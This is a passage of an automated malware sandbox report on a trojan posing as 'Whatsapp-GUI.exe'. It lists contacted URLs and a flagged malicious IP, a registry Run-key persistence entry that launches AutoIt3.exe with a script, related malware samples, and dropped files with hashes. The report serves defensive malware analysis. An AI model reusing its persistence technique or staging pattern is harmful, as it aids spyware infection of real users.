http://www.fontbureau.com/designers/cabarga.htmlN	Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn	Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/frere-user.html	Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/fsip/	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://uc3c2088de79bd8ea4195a51c266.dl.dropboxusercontent.com	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://help.dropbox.com/	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ipinfo.io/ip	UpdaterService.exe, UpdaterService.exe, 00000002.00000003.1833815328.0000000005688000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1834283511.0000000005320000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000002.4180519040.0000000004871000.00000040.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000002.4183663536.00000000056F0000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000002.4180372722.0000000004770000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000002.4179218792.00000000046B4000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe, Autoit3.exe, 00000009.00000002.1965692690.00000000039A4000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe, 00000009.00000002.1965977037.0000000003A60000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe, 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Autoit3.exe, 0000000A.00000002.2042458426.0000000003DE0000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe, 0000000A.00000002.2042117134.0000000003D24000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe, 0000000A.00000002.2042583535.0000000003EE1000.00000040.00001000.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/fsip/	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://canny.io/sdk.js	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://uc3c2088de79bd8ea4195a51c266.dl.dropboxusercontent.comd	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002BAC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.jiyu-kobo.co.jp/	Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	false		high
https://selfguidedlearning.dropboxbusiness.com/	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://uc3c2088de79bd8ea4195a51c266.dl.dropboxusercontent.com/cd/0/get/CgSMY3b56y38dKz7xmmwct_VeYaR	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/recaptcha/	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ipinfo.io/ipU	UpdaterService.exe, 00000002.00000003.1833815328.0000000005688000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1834283511.0000000005320000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000002.4180519040.0000000004871000.00000040.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000002.4183663536.00000000056F0000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000002.4180372722.0000000004770000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000002.4179218792.00000000046B4000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe, 00000009.00000002.1965692690.00000000039A4000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe, 00000009.00000002.1965977037.0000000003A60000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe, 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Autoit3.exe, 0000000A.00000002.2042458426.0000000003DE0000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe, 0000000A.00000002.2042117134.0000000003D24000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe, 0000000A.00000002.2042583535.0000000003EE1000.00000040.00001000.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers8	Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.sandbox.google.com/presentation/fsip/	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mail.google.com/mail/u/0/#inbox	Autoit3.exe, 0000000A.00000002.2042583535.0000000003EE1000.00000040.00001000.00020000.00000000.sdmp	false		high
https://dl-web.dropbox.com/	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://app.hellofax.com/	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cfl.dropboxstatic.com/static/	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.paypal.com/sdk/js	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/spreadsheets/fsip/	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
154.216.16.83	unknown	Seychelles	135357	SKHT-ASShenzhenKatherineHengTechnologyInformationCo	true
162.125.69.18	www-env.dropbox-dns.com	United States	19679	DROPBOXUS	false
162.125.69.15	edge-block-www-env.dropbox-dns.com	United States	19679	DROPBOXUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1575235
Start date and time:	2024-12-14 21:38:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Whatsapp-GUI.exe
Detection:	MAL
Classification:	mal69.troj.spyw.evad.winEXE@10/12@2/3
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 100% Number of executed functions: 135 Number of non-executed functions: 300
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.218.208.109, 20.109.210.53, 13.107.246.63
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target UpdaterService.exe, PID 7636 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Whatsapp-GUI.exe

Simulations

Behavior and APIs

Time	Type	Description
15:39:03	API Interceptor	86x Sleep call for process: Whatsapp-GUI.exe modified
15:39:13	API Interceptor	1x Sleep call for process: WMIC.exe modified
15:39:16	API Interceptor	8237835x Sleep call for process: UpdaterService.exe modified
20:39:17	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run deafbbd "C:\ProgramData\bfadeeb\Autoit3.exe" C:\ProgramData\bfadeeb\fhdgaef.a3x
20:39:25	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run deafbbd "C:\ProgramData\bfadeeb\Autoit3.exe" C:\ProgramData\bfadeeb\fhdgaef.a3x

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
162.125.69.18	https://dashboard.sizle.io/p/f7c9cdf19	Get hash	malicious	HTMLPhisher	Browse
	garsukhjdf11.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	1_Garmin_Campaign Information for Partners(12-10).docx.lnk.download.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	nbavdfasfGarminde.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	https://feji.us/m266he	Get hash	malicious	Unknown	Browse
	[EXTERNAL] Doug Lenon shared _GARY LEIMER INC SIGNED CONTRACT & PAY APPLICATIONS.paper_ with you.eml	Get hash	malicious	Unknown	Browse
	751ietQPnX.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	l92fYljXWF.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	Richiesta di Indagine sulla Violazione del Copyright lnk.lnk	Get hash	malicious	Unknown	Browse
	interior-design-villa-a23.lnk	Get hash	malicious	MalLnk	Browse
162.125.69.15	2024_12_12_Aster_Oak_Babywear_Advertising_Project_Shopify.pdf.lnk.download.lnk	Get hash	malicious	Unknown	Browse
	751ietQPnX.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	l92fYljXWF.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	qxjDerXRGR.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	taCCGTk8n1.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	Richiesta di Indagine sulla Violazione del Copyright lnk.lnk	Get hash	malicious	Unknown	Browse
	interior-design-villa-a23.lnk	Get hash	malicious	MalLnk	Browse
	zW72x5d91l.bat	Get hash	malicious	Unknown	Browse
	https://www.dropbox.com/l/AADbLOqftgPkdsTWgBgFyNpmu-iGeYJGM4I	Get hash	malicious	Unknown	Browse
	https://t.ly/HThl-Link1-0312	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www-env.dropbox-dns.com	2024_12_12_Aster_Oak_Babywear_Advertising_Project_Shopify.pdf.lnk.download.lnk	Get hash	malicious	Unknown	Browse	162.125.69.15
	https://dashboard.sizle.io/p/f7c9cdf19	Get hash	malicious	HTMLPhisher	Browse	162.125.69.18
	3_Garmin_Campaign Information for Partners(12-11).docx.lnk.download.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.65.18
	garsukhjdf11.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	1_Garmin_Campaign Information for Partners(12-10).docx.lnk.download.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	nbavdfasfGarminde.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	[EXTERNAL] Doug Lenon shared _GARY LEIMER INC SIGNED CONTRACT & PAY APPLICATIONS.paper_ with you.eml	Get hash	malicious	Unknown	Browse	162.125.65.18
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse	162.125.65.18
	751ietQPnX.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.18
	l92fYljXWF.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.18
edge-block-www-env.dropbox-dns.com	2024_12_12_Aster_Oak_Babywear_Advertising_Project_Shopify.pdf.lnk.download.lnk	Get hash	malicious	Unknown	Browse	162.125.69.15
	3_Garmin_Campaign Information for Partners(12-11).docx.lnk.download.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.15
	751ietQPnX.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.15
	l92fYljXWF.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.15
	qxjDerXRGR.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.15
	taCCGTk8n1.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.15
	Richiesta di Indagine sulla Violazione del Copyright lnk.lnk	Get hash	malicious	Unknown	Browse	162.125.69.15
	interior-design-villa-a23.lnk	Get hash	malicious	MalLnk	Browse	162.125.69.15
	Updates.bat	Get hash	malicious	Abobus Obfuscator	Browse	162.125.69.15
	zW72x5d91l.bat	Get hash	malicious	Unknown	Browse	162.125.69.15

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SKHT-ASShenzhenKatherineHengTechnologyInformationCo	RMX.exe	Get hash	malicious	Remcos	Browse	154.216.18.132
	byte.m68k.elf	Get hash	malicious	Okiru	Browse	154.216.19.200
	byte.arm7.elf	Get hash	malicious	Mirai, Okiru	Browse	154.216.19.200
	byte.arm.elf	Get hash	malicious	Okiru	Browse	154.216.19.200
	0x86d.arm7.elf	Get hash	malicious	Mirai, Okiru	Browse	154.216.19.211
	0x86d.sh4.elf	Get hash	malicious	Mirai, Okiru	Browse	154.216.19.211
	0x86d.mips.elf	Get hash	malicious	Mirai, Okiru	Browse	154.216.19.211
	zmap.x86.elf	Get hash	malicious	Okiru	Browse	154.216.17.227
	zmap.sh4.elf	Get hash	malicious	Mirai, Okiru	Browse	154.216.17.227
	nshsh4.elf	Get hash	malicious	Mirai	Browse	156.241.11.61
DROPBOXUS	2024_12_12_Aster_Oak_Babywear_Advertising_Project_Shopify.pdf.lnk.download.lnk	Get hash	malicious	Unknown	Browse	162.125.69.15
	https://dashboard.sizle.io/p/f7c9cdf19	Get hash	malicious	HTMLPhisher	Browse	162.125.69.18
	3_Garmin_Campaign Information for Partners(12-11).docx.lnk.download.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.65.18
	garsukhjdf11.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	1_Garmin_Campaign Information for Partners(12-10).docx.lnk.download.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	nbavdfasfGarminde.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	https://feji.us/m266he	Get hash	malicious	Unknown	Browse	162.125.69.18
	[EXTERNAL] Doug Lenon shared _GARY LEIMER INC SIGNED CONTRACT & PAY APPLICATIONS.paper_ with you.eml	Get hash	malicious	Unknown	Browse	162.125.1.20
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse	162.125.40.3
	751ietQPnX.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.15
DROPBOXUS	2024_12_12_Aster_Oak_Babywear_Advertising_Project_Shopify.pdf.lnk.download.lnk	Get hash	malicious	Unknown	Browse	162.125.69.15
	https://dashboard.sizle.io/p/f7c9cdf19	Get hash	malicious	HTMLPhisher	Browse	162.125.69.18
	3_Garmin_Campaign Information for Partners(12-11).docx.lnk.download.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.65.18
	garsukhjdf11.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	1_Garmin_Campaign Information for Partners(12-10).docx.lnk.download.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	nbavdfasfGarminde.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	https://feji.us/m266he	Get hash	malicious	Unknown	Browse	162.125.69.18
	[EXTERNAL] Doug Lenon shared _GARY LEIMER INC SIGNED CONTRACT & PAY APPLICATIONS.paper_ with you.eml	Get hash	malicious	Unknown	Browse	162.125.1.20
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse	162.125.40.3
	751ietQPnX.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.15

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	RdLfpZY5A9.exe	Get hash	malicious	77Rootkit, XWorm	Browse	162.125.69.18 162.125.69.15
	FEDEX234598765.html	Get hash	malicious	WinSearchAbuse	Browse	162.125.69.18 162.125.69.15
	3edTbzftGf.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	162.125.69.18 162.125.69.15
	NOTIFICATION_OF_DEPENDANTS.vbs	Get hash	malicious	Unknown	Browse	162.125.69.18 162.125.69.15
	PO_0099822111ORDER.js	Get hash	malicious	Remcos	Browse	162.125.69.18 162.125.69.15
	Shipment 990847575203.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	162.125.69.18 162.125.69.15
	file.exe	Get hash	malicious	XWorm	Browse	162.125.69.18 162.125.69.15
	gjvU5KOFhX.exe	Get hash	malicious	Discord Token Stealer, Millenuim RAT	Browse	162.125.69.18 162.125.69.15
	svhost.vbs	Get hash	malicious	Unknown	Browse	162.125.69.18 162.125.69.15
	hvqc3lk7ly.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	162.125.69.18 162.125.69.15

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\Updater\Autoit3.exe	Agreement for Cooperation.PDF.lnk.download.lnk	Get hash	malicious	RedLine	Browse
	malware.zip	Get hash	malicious	Unknown	Browse
	Dark_drop_2_pers_lum_clean.exe.bin.exe	Get hash	malicious	LummaC, DarkGate, LummaC Stealer, MailPassView	Browse
	Agreement for YouTube cooperation.pdf.lnk.download.lnk	Get hash	malicious	LummaC	Browse
	3rd_cc_form_Oct_2024.pdf.lnk.download.lnk	Get hash	malicious	LummaC	Browse
	tQ6Z4Vjp5f.lnk	Get hash	malicious	LummaC	Browse
	doc-Impostos.cmd	Get hash	malicious	Unknown	Browse
	AlBXxWizEX.msi	Get hash	malicious	DanaBot	Browse
	dp36srsOd2.exe	Get hash	malicious	Unknown	Browse
	dp36srsOd2.exe	Get hash	malicious	Unknown	Browse
C:\ProgramData\Updater\UpdaterService.exe (copy)	Agreement for Cooperation.PDF.lnk.download.lnk	Get hash	malicious	RedLine	Browse
	malware.zip	Get hash	malicious	Unknown	Browse
	Dark_drop_2_pers_lum_clean.exe.bin.exe	Get hash	malicious	LummaC, DarkGate, LummaC Stealer, MailPassView	Browse
	Agreement for YouTube cooperation.pdf.lnk.download.lnk	Get hash	malicious	LummaC	Browse
	3rd_cc_form_Oct_2024.pdf.lnk.download.lnk	Get hash	malicious	LummaC	Browse
	tQ6Z4Vjp5f.lnk	Get hash	malicious	LummaC	Browse
	doc-Impostos.cmd	Get hash	malicious	Unknown	Browse
	AlBXxWizEX.msi	Get hash	malicious	DanaBot	Browse
	dp36srsOd2.exe	Get hash	malicious	Unknown	Browse
	dp36srsOd2.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\Updater.zip

Download File

Process:	C:\Users\user\Desktop\Whatsapp-GUI.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	802739
Entropy (8bit):	7.998351560842118
Encrypted:	true
SSDEEP:	12288:3Dkq0C/sFxWWeu3OC45qZmLJVX2MJn0WVE17eGlEyU4PDNBk9LZ5eWLmHlle:39J/AMcR4oZm3h0d16K3/8eWLmFle
MD5:	5C7F3935A8FF564E33D8674D4E716A6A
SHA1:	ADE37ABA6A17E8EB98BEED5C4D590E4E93BD0E73
SHA-256:	3D31B03635EB488CA318F67E3555305A25DC260FE6F5E059E4675B1AE7E026A4
SHA-512:	DDAE6C3E401216CB318846C79C038A1AE8CFCE01EEEE9D55218F56C9A13CFB3C254A7F248D928DD7EBF1FAA7BD29A9747570505F0681E2D2F984F04C5F992864
Malicious:	false
Reputation:	low
Preview:	PK.........,.Y...vK...........Autoit3.exe..}\|SE.8..$.m...R.J.UQ...5.)m."-... ..FT....+Ih/C.wQ.].w..eWT.P."-.......S.h-..w.......<....0.s...3g.9s&..I.$...I.FI.9..._.A..].. i}....h....)...O.;......p.}.>......4..H..$eNHz.....<p`.d=...3WN..........7.o).g..{..Q.......<....2...Z(.y..[.]..b......O.s...S........W.........k..>x...D.KW...,...tP..3.FI.......!(F2``.S..H@^.....u=q{.=...w.T.IWZ$.g}>,.(.........g{?)Q...I.._..$.....s....o\|k......I..Y7.}..^IZ..Q...<.....u.,.I..........\....y...p.L.Y:..1...7..9..'Q....<x...0.8......oS....U.T.n...+....+. ....&..u".<..wP@...Y\|.....`.."..K%..5..P@>..Y..'....C^....C.A...].Yl...w.<..Z1`..81.r...E..Q.c.....6.~h...=..OP.......I....-s`t.~..=._....?.'..k...8.?.."n...R.}....TP.N..........DR.Pg......Wg&.3...\|..y_.V..L.,.g.aPg.Qg:.\5.fMQ...Y3.Yj.l..b.../..3.-.....~[........u:...n.Be}.A.fk.-..o.f.h...[...K...........%~.7..*.-S.....R....2..J.k.w..n..6....l{..%...0szK!k...:#.&../..ry&<7..:.@s\|.,e...-.&...

C:\ProgramData\Updater\Autoit3.exe

Download File

Process:	C:\Users\user\Desktop\Whatsapp-GUI.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	893608
Entropy (8bit):	6.620131693023677
Encrypted:	false
SSDEEP:	12288:6pVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31twoPTdFxgawV2M01:6T3E53Myyzl0hMf1tr7Caw8M01
MD5:	C56B5F0201A3B3DE53E561FE76912BFD
SHA1:	2A4062E10A5DE813F5688221DBEB3F3FF33EB417
SHA-256:	237D1BCA6E056DF5BB16A1216A434634109478F882D3B1D58344C801D184F95D
SHA-512:	195B98245BB820085AE9203CDB6D470B749D1F228908093E8606453B027B7D7681CCD7952E30C2F5DD40F8F0B999CCFC60EBB03419B574C08DE6816E75710D2C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: Agreement for Cooperation.PDF.lnk.download.lnk, Detection: malicious, Browse Filename: malware.zip, Detection: malicious, Browse Filename: Dark_drop_2_pers_lum_clean.exe.bin.exe, Detection: malicious, Browse Filename: Agreement for YouTube cooperation.pdf.lnk.download.lnk, Detection: malicious, Browse Filename: 3rd_cc_form_Oct_2024.pdf.lnk.download.lnk, Detection: malicious, Browse Filename: tQ6Z4Vjp5f.lnk, Detection: malicious, Browse Filename: doc-Impostos.cmd, Detection: malicious, Browse Filename: AlBXxWizEX.msi, Detection: malicious, Browse Filename: dp36srsOd2.exe, Detection: malicious, Browse Filename: dp36srsOd2.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L....q.Z.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\ProgramData\Updater\ConfigUpdater.a3x (copy)

Download File

Process:	C:\Users\user\Desktop\Whatsapp-GUI.exe
File Type:	data
Category:	dropped
Size (bytes):	596624
Entropy (8bit):	7.029606283483804
Encrypted:	false
SSDEEP:	12288:I5ar/5ar6gxOhHcM7hsYpzKiQhabk/RTTzcY886Wa:I5ar/5ar/8RcMlsYlKiURTPf6F
MD5:	3E44FEF10A982713ADB597DF2B72C27F
SHA1:	A0A12D6BC2D26267A6041344756B8621E02E1543
SHA-256:	F2F20D4232DA128F7DEDC0EDF844A92A3E3F6C8A997FAB47777A396B0B4A5F53
SHA-512:	55BBA6E5EF5DE02E46051A0DDD6B08F34D30C514FDA40C80A88519E0B64B5987F662CB3175893E1B2660D500B42EEA8A31A79AC7414F281DC159631EBDD46726
Malicious:	false
Preview:	Y p...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................Y p.....................................

C:\ProgramData\Updater\UpdaterService.exe (copy)

Download File

Process:	C:\Users\user\Desktop\Whatsapp-GUI.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	893608
Entropy (8bit):	6.620131693023677
Encrypted:	false
SSDEEP:	12288:6pVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31twoPTdFxgawV2M01:6T3E53Myyzl0hMf1tr7Caw8M01
MD5:	C56B5F0201A3B3DE53E561FE76912BFD
SHA1:	2A4062E10A5DE813F5688221DBEB3F3FF33EB417
SHA-256:	237D1BCA6E056DF5BB16A1216A434634109478F882D3B1D58344C801D184F95D
SHA-512:	195B98245BB820085AE9203CDB6D470B749D1F228908093E8606453B027B7D7681CCD7952E30C2F5DD40F8F0B999CCFC60EBB03419B574C08DE6816E75710D2C
